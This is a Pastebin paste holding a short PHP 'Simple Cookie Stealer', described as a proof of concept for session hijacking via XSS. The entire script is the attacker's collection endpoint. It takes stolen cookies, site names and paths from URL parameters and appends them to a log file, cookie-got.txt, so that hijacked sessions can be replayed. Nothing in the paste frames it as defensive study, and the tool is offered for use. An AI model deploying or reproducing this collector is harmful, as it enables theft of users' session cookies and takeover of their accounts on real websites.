VanGans

Simple Cookie Stealer

Apr 14th, 2019
176
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.58 KB | None | 0 0
  1. <?php
  2. /*
  3. Name: PHP Simple Cookie Stealer
  4. PoC: Session Hijacking with XSS (GET or Stored methods)
  5. --- VanGans ---
  6. */
  7.  
  8.     $cook = $_GET['c']; // Cookie Logger
  9.     $web = $_GET['w']; // Webname Logger
  10.     $path = $_GET['p']; // PATH Logger
  11.  
  12.     if(empty($cook))
  13.         {
  14.           exit();
  15.         }
  16.  
  17.  
  18.     else
  19.         {
  20.           $fp = fopen('cookie-got.txt', 'a');
  21.           fwrite($fp, 'Web : '.$web.'\nPath : '.$path.'\nCookie : '.$cook.'\n====================\n');
  22.           fclose($fp);
  23.           echo "Tercurry di cookie-got.txt";
  24.           exit();
  25.         }
  26. ?>
Add Comment
Please, Sign In to add comment